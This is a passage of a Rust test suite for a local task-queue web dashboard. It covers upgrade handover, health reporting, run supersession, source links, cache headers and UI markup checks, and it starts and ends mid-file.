22299 let waiter = tokio::spawn({
22300 let signal = std::sync::Arc::clone(&signal);
22301 async move { wait_for_handover(&signal).await }
22302 });
22303 tokio::time::sleep(Duration::from_millis(20)).await;
22304 assert!(!waiter.is_finished(), "nothing was signalled yet");
22305 signal.notify_one();
22306 tokio::time::timeout(Duration::from_secs(5), waiter)
22307 .await
22308 .expect("a late signal wakes the waiter")
22309 .expect("join");
22310 }
22311
22312 #[tokio::test]
22313 async fn health_says_how_long_a_handover_has_been_stuck() {
22314 let fx = Fixture::start().await;
22315 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22316 progress.advance(crate::updater::Stage::Replaced);
22317 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22318 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22319
22320 let health = fx.get("/api/health").await.json();
22321 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22322 assert!(stuck >= 600, "{stuck}");
22323 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22324 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22325 }
22326
22327 #[tokio::test]
22328 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22329 let home = tempfile::tempdir().expect("temp home");
22330 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22331 progress.advance(crate::updater::Stage::Parking);
22332 crate::updater::write_progress(home.path(), &progress).expect("seed");
22333 let mut again = progress.clone();
22335 again.advance(crate::updater::Stage::Replaced);
22336 crate::updater::write_progress(home.path(), &again).expect("replaced");
22337 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22338 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22339 let after = crate::updater::read_progress(home.path()).expect("record");
22340 assert_eq!(after.stage, crate::updater::Stage::Parking);
22341 }
22342
22343 #[tokio::test]
22344 async fn health_does_not_call_a_live_parking_wait_stuck() {
22345 let fx = Fixture::start().await;
22346 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22347 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22348 progress.advance(crate::updater::Stage::Parking);
22349 let hours = Duration::from_secs(3 * 3600);
22350 progress.started_at = Timestamp::now() - hours;
22351 progress.updated_at = Timestamp::now() - hours;
22352 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22353 let _lease = crate::updater::LeaseGuard::enter(
22354 fx.home.path(),
22355 Some("20260905-000000-cd51".to_owned()),
22356 );
22357
22358 let health = fx.get("/api/health").await.json();
22359 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22360 assert!(health["upgrade"]["stuck_kind"].is_null());
22361 assert_eq!(health["upgrade"]["handover_alive"], true);
22362 let waiting_on = health["upgrade"]["waiting_on"]
22363 .as_str()
22364 .expect("waiting_on");
22365 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22366 }
22367
22368 fn idle_ui(home: &TempDir) -> Ui {
22369 let runs = home.path().join("runs");
22370 std::fs::create_dir_all(&runs).expect("runs dir");
22371 Ui::new(
22372 Queue::at(home.path().join("queue")),
22373 Questions::at(home.path().join("questions")),
22374 Talks::at(home.path().join("talks")),
22375 runs,
22376 home.path().to_path_buf(),
22377 PathBuf::from("/repo/magi"),
22378 )
22379 .with_launch(launch_idle)
22380 }
22381
22382 #[tokio::test]
22383 async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
22384 let home = TempDir::new().expect("temp home");
22385 let ui = idle_ui(&home);
22386 let lease = crate::worker::try_lease(home.path(), "scheduler")
22387 .expect("scheduler lease")
22388 .expect("free");
22389 crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
22390 .expect("request stop");
22391 let error = ui
22392 .start_detached_loop()
22393 .await
22394 .expect_err("transition is still live");
22395 assert_eq!(error.status, StatusCode::CONFLICT);
22396 assert!(error.message.contains("still running or stopping"));
22397 assert_eq!(
22398 crate::worker::control(home.path(), "scheduler").unwrap(),
22399 Some(crate::worker::Control::Stop)
22400 );
22401 drop(lease);
22402 }
22403
22404 #[tokio::test]
22405 async fn handover_releases_listener_without_waiting_for_execution_leases() {
22406 let home = TempDir::new().expect("temp home");
22407 let ui = idle_ui(&home);
22408 let turns = ui
22409 .begin_talk_turn("active-chat")
22410 .expect("claim")
22411 .expect("free");
22412 let execution = crate::worker::try_lease(home.path(), "active-task")
22413 .expect("execution lease")
22414 .expect("free");
22415 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22416 .await
22417 .expect("bind loopback");
22418 let address = listener.local_addr().expect("address");
22419 let admissions = Arc::clone(&ui.admissions);
22420 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22421 let successor_started = std::sync::atomic::AtomicBool::new(false);
22422 tokio::time::timeout(
22423 Duration::from_secs(2),
22424 hand_over(home.path(), &admissions, served, || {
22425 successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
22426 Ok(1)
22427 }),
22428 )
22429 .await
22430 .expect("restart must not wait for execution")
22431 .expect("handover");
22432 assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
22433 let successor = bind_waiting(address)
22436 .await
22437 .expect("successor binds released address");
22438 assert_eq!(successor.local_addr().unwrap(), address);
22439 assert!(turns.owns(), "the chat lease survives restart");
22440 assert!(
22441 crate::worker::try_lease(home.path(), "active-task")
22442 .unwrap()
22443 .is_none()
22444 );
22445 drop(execution);
22446 drop(turns);
22447 }
22448
22449 #[tokio::test]
22450 async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
22451 let home = TempDir::new().expect("temp home");
22452 let ui = idle_ui(&home);
22453 let admission = ui.begin_admission().expect("admit send");
22454 let turn = ui
22455 .begin_talk_turn("active-chat")
22456 .expect("claim")
22457 .expect("free");
22458 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22459 .await
22460 .expect("bind loopback");
22461 let address = listener.local_addr().expect("address");
22462 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22463 let successor_called = std::sync::atomic::AtomicBool::new(false);
22464 let handover = hand_over(home.path(), &ui.admissions, served, || {
22465 successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
22466 Ok(1)
22467 });
22468 tokio::pin!(handover);
22469 std::future::poll_fn(|cx| {
22472 assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
22473 std::task::Poll::Ready(())
22474 })
22475 .await;
22476 assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
22477 assert!(
22478 ui.begin_admission().is_err(),
22479 "new ingress cannot race the drain"
22480 );
22481 assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
22482 drop(admission);
22483 tokio::time::timeout(Duration::from_secs(2), handover)
22484 .await
22485 .expect("only publication may delay restart")
22486 .expect("handover");
22487 assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
22488 assert!(
22489 turn.owns(),
22490 "the detached chat turn is not awaited or cancelled"
22491 );
22492 assert!(
22493 ui.begin_admission().is_err(),
22494 "old accepted connections stay closed"
22495 );
22496 drop(turn);
22497 }
22498
22499 #[test]
22500 fn health_worker_metadata_never_contains_payload_or_result() {
22501 let view = WorkerView::from(crate::worker::Job {
22502 id: "job".into(),
22503 sequence: 1,
22504 kind: "service".into(),
22505 key: "maintenance".into(),
22506 payload: serde_json::json!({"env": {"TOKEN": "private"}}),
22507 generation: "generation".into(),
22508 version: Some("1.2.3".into()),
22509 status: crate::worker::Status::Running,
22510 result: Some("private diagnostics".into()),
22511 pid: Some(4242),
22512 created_at: 1,
22513 finished_at: None,
22514 });
22515 let value = serde_json::to_value(view).expect("serialize public metadata");
22516 assert_eq!(value["version"], "1.2.3");
22517 assert_eq!(value["pid"], 4242);
22518 assert!(value.get("payload").is_none());
22519 assert!(value.get("result").is_none());
22520 assert!(!value.to_string().contains("private"));
22521 }
22522
22523 #[test]
22524 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
22525 let home = TempDir::new().expect("temp home");
22526 let ui = idle_ui(&home);
22527 std::fs::write(
22528 home.path().join("daemon.json"),
22529 serde_json::json!({
22530 "schema": 2, "pid": 4242, "worker_protocol": 1,
22531 "updated_at": Timestamp::now().to_string(), "idle": true,
22532 })
22533 .to_string(),
22534 )
22535 .expect("status");
22536 let reading = daemon::read_status(home.path());
22537 assert!(Foreign::of(reading.as_ref()).is_none());
22538 let view = ui.runtime_loop_view(reading, &[]);
22539 assert!(view.running);
22540 assert!(view.owned);
22541 }
22542
22543 #[test]
22544 fn only_an_explicit_one_requests_a_resume() {
22545 assert!(!resume_requested(None));
22546 assert!(!resume_requested(Some("0".into())));
22547 assert!(!resume_requested(Some("".into())));
22548 assert!(resume_requested(Some("1".into())));
22549 }
22550
22551 #[test]
22552 fn an_error_is_visible_from_where_the_button_is() {
22553 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
22558 ..APP_CSS.find(".alert-text").expect(".alert-text")];
22559 assert!(
22560 alert.contains("position: fixed"),
22561 "an error about the thing under your thumb has to be visible from \
22562 where your thumb is: {alert}"
22563 );
22564 assert!(
22565 alert.contains("z-index: 25"),
22566 "above the dock (20) and the run-actions FAB (15), so neither \
22567 buries it: {alert}"
22568 );
22569 assert!(
22570 alert.contains("var(--tap)"),
22571 "and clear of the dock and the home indicator: {alert}"
22572 );
22573 assert!(
22576 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
22577 "the FAB's column stays free: {alert}"
22578 );
22579 }
22580
22581 #[tokio::test]
22582 async fn an_older_attempt_says_what_replaced_it() {
22583 let fx = Fixture::start().await;
22584 let q = fx.queue();
22585 let runs = fx.runs();
22586 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22587 write_run(&runs, first, RunStatus::Stalled);
22588 write_run(&runs, second, RunStatus::Blocked);
22589
22590 let mut t = Task::new(
22591 "one task".to_owned(),
22592 "do it".to_owned(),
22593 PathBuf::from("/repo"),
22594 Source::Human,
22595 );
22596 t.runs = vec![first.to_owned(), second.to_owned()];
22597 q.put(&mut t).expect("put");
22598
22599 let rows = fx.get("/api/runs").await.json();
22603 let by = |short: &str| -> Value {
22604 rows.as_array()
22605 .unwrap()
22606 .iter()
22607 .find(|r| r["short"] == short)
22608 .cloned()
22609 .unwrap_or(Value::Null)
22610 };
22611 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
22612 assert!(
22613 by("bbbb")["superseded_by"].is_null(),
22614 "the latest attempt is not superseded by anything"
22615 );
22616 assert!(APP_JS.contains("run.superseded_by"));
22618 assert!(APP_JS.contains("Superseded by"));
22619 }
22620
22621 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
22622 let mut t = Task::new(
22623 "one task".to_owned(),
22624 "do it".to_owned(),
22625 PathBuf::from("/repo"),
22626 Source::Human,
22627 );
22628 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
22629 t.status = status;
22630 t
22631 }
22632
22633 #[test]
22634 fn source_link_picks_the_page_that_filed_the_task() {
22635 let agent = |node: &str| Source::Agent {
22636 run: "20260904-014455-ab12".to_owned(),
22637 node: node.to_owned(),
22638 };
22639 let chat = source_link(&agent("chat")).expect("chat link");
22640 assert_eq!(chat.kind, "chat");
22641 assert_eq!(chat.id, "20260904-014455-ab12");
22642 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
22643 let run = source_link(&agent("implement")).expect("run link");
22644 assert_eq!(
22645 (run.kind, run.href.as_str()),
22646 ("run", "#/runs/20260904-014455-ab12")
22647 );
22648 assert_eq!(source_link(&Source::Human), None);
22649 assert_eq!(
22650 source_link(&Source::Issue {
22651 number: 3,
22652 repo: "o/r".to_owned()
22653 }),
22654 None
22655 );
22656 let odd = source_link(&Source::Agent {
22657 run: "a b/c".to_owned(),
22658 node: "chat".to_owned(),
22659 })
22660 .expect("link");
22661 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
22662 }
22663
22664 #[test]
22665 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
22666 assert!(
22667 !APP_JS.contains("src.node === \"chat\""),
22668 "inline href rule is back"
22669 );
22670 assert!(
22671 APP_JS.matches("sourceLinkOf(").count() >= 4,
22672 "helper must serve every page"
22673 );
22674 assert!(
22675 APP_JS.matches("openChatLink(").count() >= 3,
22676 "the run page still needs its explicit chat link"
22677 );
22678 assert!(
22679 !APP_JS.contains("const openChat = el("),
22680 "the Queue card duplicates its source label link again"
22681 );
22682 assert!(
22683 APP_JS.contains("metaKids.push(link ? el(\"a\""),
22684 "the task page must link a chat source label too"
22685 );
22686 }
22687
22688 #[test]
22689 fn task_ref_carries_the_source_link_for_a_chat_task() {
22690 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22691 t.source = Source::Agent {
22692 run: "20260904-014455-ab12".to_owned(),
22693 node: "chat".to_owned(),
22694 };
22695 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
22696 let v = serde_json::to_value(&out).expect("json");
22697 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
22698 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
22699 assert_eq!(v["source_label"], t.source.label());
22700
22701 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
22702 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
22703 .expect("json");
22704 assert!(v["source_link"].is_null(), "{v}");
22705 }
22706
22707 #[test]
22708 fn task_view_serializes_source_link() {
22709 let mut t = Task::new(
22710 "t".to_owned(),
22711 "t".to_owned(),
22712 PathBuf::from("/repo"),
22713 Source::Agent {
22714 run: "20260901-000000-aaaa".to_owned(),
22715 node: "implement".to_owned(),
22716 },
22717 );
22718 t.runs.clear();
22719 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22720 assert_eq!(v["source_link"]["kind"], "run", "{v}");
22721 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
22722 }
22723
22724 #[test]
22725 fn task_view_serializes_urgent_flag() {
22726 let mut t = Task::new(
22727 "t".to_owned(),
22728 "t".to_owned(),
22729 PathBuf::from("/repo"),
22730 Source::Human,
22731 );
22732 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
22733 assert_eq!(v["urgent"], false, "{v}");
22734 t.urgent = true;
22735 let v = serde_json::to_value(TaskView::from(t)).expect("json");
22736 assert_eq!(v["urgent"], true, "{v}");
22737 assert!(APP_JS.contains("task.urgent === true"));
22738 }
22739
22740 #[tokio::test]
22741 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
22742 let fx = Fixture::start().await;
22743 let runs = fx.runs();
22744 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22745 write_run(&runs, old, RunStatus::Blocked);
22746 write_run(&runs, new, RunStatus::Merged);
22747 let mut t = outcome_task(&[old, new], TaskStatus::Done);
22748 fx.queue().put(&mut t).expect("put");
22749
22750 let view = fx.get(&format!("/api/runs/{old}")).await.json();
22751 let task = &view["task"];
22752 assert_eq!(task["status"], "done");
22753 assert_eq!(task["is_latest"], false);
22754 assert_eq!(task["latest"]["short"], "bbbb");
22755 assert_eq!(task["finished_by"]["id"], new);
22756 assert_eq!(task["finished_by"]["outcome"], "merged");
22757 assert_eq!(task["closed_by_hand"], false);
22758 assert_eq!(view["status"], "blocked", "the run keeps its own status");
22759 assert!(APP_JS.contains("finished_by"));
22760 assert!(APP_JS.contains("superseded by run"));
22761 }
22762
22763 #[tokio::test]
22764 async fn the_latest_run_reports_a_held_task_without_a_successor() {
22765 let fx = Fixture::start().await;
22766 let runs = fx.runs();
22767 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
22768 write_run(&runs, old, RunStatus::Stalled);
22769 write_run(&runs, new, RunStatus::Blocked);
22770 let mut t = outcome_task(&[old, new], TaskStatus::Held);
22771 fx.queue().put(&mut t).expect("put");
22772
22773 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
22774 assert_eq!(task["status"], "held");
22775 assert_eq!(task["is_latest"], true);
22776 assert!(task["latest"].is_null());
22777 assert!(task["finished_by"].is_null());
22778 assert_eq!(task["closed_by_hand"], false);
22779 }
22780
22781 #[tokio::test]
22782 async fn a_direct_run_has_no_task_outcome() {
22783 let fx = Fixture::start().await;
22784 let runs = fx.runs();
22785 let id = "20260901-000000-aaaa";
22786 write_run(&runs, id, RunStatus::Blocked);
22787 let view = fx.get(&format!("/api/runs/{id}")).await.json();
22788 assert!(view["task"].is_null());
22789 }
22790
22791 #[test]
22792 fn task_outcome_does_not_guess_a_finishing_run() {
22793 let a = "20260901-000000-aaaa";
22794 let b = "20260901-000000-bbbb";
22795 let c = "20260901-000000-cccc";
22796 let dir = tempfile::tempdir().expect("tempdir");
22797 write_run(dir.path(), a, RunStatus::Blocked);
22798 write_run(dir.path(), b, RunStatus::VerifiedNoop);
22799 let read = |id: &str| read_run(dir.path(), id).ok();
22801 let t = outcome_task(&[a, b, c], TaskStatus::Done);
22804 let out = task_outcome(&t, a, 3, read);
22805 assert!(out.finished_by.is_none());
22806 assert!(out.closed_by_hand);
22807 let latest = out.latest.expect("latest");
22808 assert_eq!(latest.id, c);
22809 assert_eq!(latest.status, None);
22810 assert_eq!(latest.outcome, "record unreadable");
22811
22812 write_run(dir.path(), c, RunStatus::Ready);
22814 let t = outcome_task(&[a, c], TaskStatus::Done);
22815 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
22816 assert_eq!(out.finished_by.expect("finisher").id, c);
22817 assert!(!out.closed_by_hand);
22818
22819 let t = outcome_task(&[a, b, a], TaskStatus::Held);
22821 assert!(task_outcome(&t, a, 3, read).is_latest);
22822 }
22823
22824 #[tokio::test]
22825 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
22826 let fx = Fixture::start().await;
22831 let q = fx.queue();
22832 let runs = fx.runs();
22833 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
22834 write_run(&runs, first, RunStatus::Blocked);
22835 write_run(&runs, second, RunStatus::Merged);
22836
22837 let mut t = Task::new(
22838 "one task".to_owned(),
22839 "do it".to_owned(),
22840 PathBuf::from("/repo"),
22841 Source::Human,
22842 );
22843 t.runs = vec![first.to_owned(), second.to_owned()];
22844 q.put(&mut t).expect("put");
22845
22846 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
22847 assert_eq!(earlier["superseded_by"], "dddd");
22848 assert_eq!(earlier["latest_attempt"]["id"], second);
22849 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
22850 assert_eq!(
22851 earlier["latest_attempt"]["resolved"], true,
22852 "the run that replaced it landed, so this one reads as settled"
22853 );
22854
22855 let later = fx.get(&format!("/api/runs/{second}")).await.json();
22856 assert!(
22857 later["superseded_by"].is_null(),
22858 "the latest attempt is not superseded by anything"
22859 );
22860 assert!(
22861 later["latest_attempt"].is_null(),
22862 "the latest attempt has no later attempt of its own"
22863 );
22864
22865 assert!(APP_JS.contains("run.latest_attempt"));
22872 assert!(APP_JS.contains("data-superseded"));
22873 assert!(APP_JS.contains("#/runs/${latest.id}"));
22874 }
22875
22876 #[tokio::test]
22877 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
22878 let fx = Fixture::start().await;
22884 let q = fx.queue();
22885 let runs = fx.runs();
22886 let (a, b, c) = (
22887 "20260901-000000-aaaa",
22888 "20260901-000000-bbbb",
22889 "20260901-000000-cccc",
22890 );
22891 write_run(&runs, a, RunStatus::Blocked);
22892 write_run(&runs, b, RunStatus::Blocked);
22893 write_run(&runs, c, RunStatus::Merged);
22894
22895 let mut t = Task::new(
22896 "retried twice".to_owned(),
22897 "do it".to_owned(),
22898 PathBuf::from("/repo"),
22899 Source::Human,
22900 );
22901 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22902 q.put(&mut t).expect("put");
22903
22904 let view = fx.get(&format!("/api/runs/{a}")).await.json();
22905 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22906 assert_eq!(
22907 view["latest_attempt"]["id"], c,
22908 "the chain's current head, not the intermediate Blocked retry"
22909 );
22910 assert_eq!(view["latest_attempt"]["resolved"], true);
22911
22912 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22913 assert_eq!(mid["latest_attempt"]["id"], c);
22914 assert_eq!(mid["latest_attempt"]["resolved"], true);
22915 }
22916
22917 #[tokio::test]
22918 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22919 let fx = Fixture::start().await;
22920 let q = fx.queue();
22921 let runs = fx.runs();
22922
22923 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22926 write_run(&runs, still_blocked_a, RunStatus::Blocked);
22927 write_run(&runs, still_blocked_b, RunStatus::Blocked);
22928 let mut t1 = Task::new(
22929 "still stuck".to_owned(),
22930 "do it".to_owned(),
22931 PathBuf::from("/repo"),
22932 Source::Human,
22933 );
22934 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22935 q.put(&mut t1).expect("put");
22936 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22937 assert_eq!(view1["latest_attempt"]["resolved"], false);
22938 assert_eq!(view1["latest_attempt"]["status"], "blocked");
22939 assert_eq!(view1["latest_attempt"]["done"], true);
22940
22941 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
22943 write_run(&runs, run_a, RunStatus::Blocked);
22944 write_run(&runs, run_b, RunStatus::Implementing);
22945 let mut t3 = Task::new(
22946 "retrying".to_owned(),
22947 "do it".to_owned(),
22948 PathBuf::from("/repo"),
22949 Source::Human,
22950 );
22951 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
22952 q.put(&mut t3).expect("put");
22953 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
22954 assert_eq!(view3["latest_attempt"]["id"], run_b);
22955 assert_eq!(view3["latest_attempt"]["resolved"], false);
22956 assert_eq!(view3["latest_attempt"]["done"], false);
22957
22958 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
22963 write_run(&runs, noop_a, RunStatus::Blocked);
22964 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
22965 let mut t2 = Task::new(
22966 "claims done".to_owned(),
22967 "do it".to_owned(),
22968 PathBuf::from("/repo"),
22969 Source::Human,
22970 );
22971 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
22972 q.put(&mut t2).expect("put");
22973 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
22974 assert_eq!(
22975 view2["latest_attempt"]["resolved"], false,
22976 "an unverified no-op claim must not read as a confirmed finish"
22977 );
22978
22979 assert!(APP_JS.contains("latest.resolved"));
22982 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
22985 assert!(APP_JS.contains("Latest attempt: "));
22986 assert!(APP_JS.contains("in flight"));
22987 assert!(APP_JS.contains("not resolved"));
22988 }
22989
22990 #[tokio::test]
22991 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
22992 let fx = Fixture::start().await;
22993 let js = fx.get("/app.js").await;
22999 assert_eq!(js.status, 200);
23000 let tag = js
23001 .header("etag")
23002 .expect("an etag to revalidate against")
23003 .to_owned();
23004 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23005 assert_eq!(
23006 js.header("cache-control"),
23007 Some("no-cache, must-revalidate"),
23008 "the phone has to ask every time"
23009 );
23010
23011 let again = fx
23014 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23015 .await;
23016 assert_eq!(
23017 again.status, 304,
23018 "a deck it already has costs one round trip"
23019 );
23020 assert!(again.body.is_empty(), "304 carries no body");
23021
23022 let weak = fx
23025 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23026 .await;
23027 assert_eq!(weak.status, 304);
23028 let stale = fx
23029 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23030 .await;
23031 assert_eq!(stale.status, 200, "an older build must be replaced");
23032 assert!(stale.body.contains("renderRunActions"));
23033 }
23034
23035 #[test]
23036 fn the_task_detail_has_an_actions_fab_and_sheet() {
23037 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23038 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23039 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23040 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23042 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23043 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23045 assert!(APP_JS.contains("renderTaskActions(null);"));
23046 let sheet = APP_JS
23048 .find("function renderTaskActions")
23049 .expect("sheet renderer");
23050 let body = &APP_JS[sheet..sheet + 3000];
23051 assert!(body.contains("changePriority("));
23052 assert!(body.contains("openTaskEdit(task)"));
23053 assert!(body.contains("renderTaskHoldBox(host"));
23054 assert!(body.contains("renderTaskDoneBox(host"));
23055 assert!(body.contains("renderTaskDeleteBox(host"));
23056 assert!(APP_JS.contains("API.priority(id)"));
23057 assert!(APP_JS.contains("API.deleteTask(id)"));
23058 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23060 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23062 }
23063
23064 #[test]
23065 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23066 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23067 let actions = INDEX_HTML
23068 .find("id=\"run-actions-box\"")
23069 .expect("actions box");
23070 assert!(task < actions, "the task entry comes first in the sheet");
23071 assert!(APP_JS.contains("renderRunTaskEntry"));
23072 assert!(APP_JS.contains("\"Open task \""));
23073 assert!(APP_JS.contains("started directly, no task"));
23075 assert!(APP_JS.contains("sheet-task-link"));
23076 assert!(APP_JS.contains("task-chip-link"));
23077 }
23078
23079 #[test]
23080 fn the_deck_never_sends_the_operator_to_a_terminal() {
23081 assert!(
23084 !APP_JS.contains("Run `magi fold` first"),
23085 "the deck must offer the fold, not prescribe a shell command"
23086 );
23087 assert!(APP_JS.contains("foldRun:"));
23088 assert!(APP_JS.contains("resumeRun:"));
23089 assert!(APP_JS.contains("renderRunActions"));
23090
23091 assert!(APP_JS.contains("armedFold"));
23093 assert!(APP_JS.contains("Yes, fold worktrees"));
23094
23095 assert!(APP_JS.contains("can no longer be resumed"));
23098 }
23099
23100 #[test]
23101 fn a_finished_run_explains_itself_with_its_own_last_line() {
23102 assert!(
23108 !APP_JS.contains("collapsed on agent quota"),
23109 "a stall must not be explained by a cause the deck did not check"
23110 );
23111 assert!(
23112 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23113 "and a block must not offer a guess with an `or` in it"
23114 );
23115
23116 assert!(
23120 APP_JS.contains("setText(r.event, run.event || \"\")"),
23121 "the run's last line is rendered unconditionally"
23122 );
23123 assert!(
23124 !APP_JS.contains("moving && run.event"),
23125 "and never gated on the run still moving"
23126 );
23127
23128 assert!(APP_JS.contains("lost to quota"));
23130 }
23131
23132 #[test]
23154 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23155 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23156 let shapes_body_start =
23157 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23158 let shapes_close = APP_JS[shapes_body_start..]
23159 .find("].map(")
23160 .expect("the shape list is closed by its done-computing .map(...)")
23161 + shapes_body_start;
23162 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23163
23164 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23165 for entry in shapes_src.split('{').skip(1) {
23166 let waiting = entry.contains("waiting: true");
23167 let dead = entry.contains("live: \"dead\"");
23168 let status_at =
23169 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23170 let status_end = entry[status_at..]
23171 .find('"')
23172 .expect("the status string is closed")
23173 + status_at;
23174 let parked = entry.contains("display_status: \"parked\"");
23175 shapes.push((
23176 waiting,
23177 entry[status_at..status_end].to_string(),
23178 dead,
23179 parked,
23180 ));
23181 }
23182 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23183
23184 let done_rule_marker = "done: !";
23188 let done_rule_at = APP_JS[shapes_close..]
23189 .find(done_rule_marker)
23190 .expect("the done rule follows the shape list")
23191 + shapes_close
23192 + done_rule_marker.len();
23193 let includes_at = APP_JS[done_rule_at..]
23194 .find(".includes(shape.status)")
23195 .expect("the done rule ends in .includes(shape.status)")
23196 + done_rule_at;
23197 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23198 .trim()
23199 .trim_start_matches('[')
23200 .trim_end_matches(']')
23201 .split(',')
23202 .map(|s| s.trim().trim_matches('"'))
23203 .filter(|s| !s.is_empty())
23204 .collect();
23205
23206 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23207 .into_iter()
23208 .map(|(waiting, status, dead, parked)| {
23209 let done = !not_done.contains(&status.as_str());
23210 (waiting, status, dead, parked, done)
23211 })
23212 .collect();
23213
23214 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23218 if waiting {
23219 return "waiting";
23220 }
23221 if dead
23222 && !parked
23223 && !matches!(
23224 status,
23225 "merged"
23226 | "ready"
23227 | "stalled"
23228 | "blocked"
23229 | "failed"
23230 | "verified_noop"
23231 | "superseded"
23232 | "already_in_base"
23233 )
23234 {
23235 return "stale";
23236 }
23237 match status {
23238 "merged" | "ready" => "landed",
23239 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23240 | "already_in_base" => "ended",
23241 _ => "flight",
23242 }
23243 }
23244
23245 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23248 match filter_key {
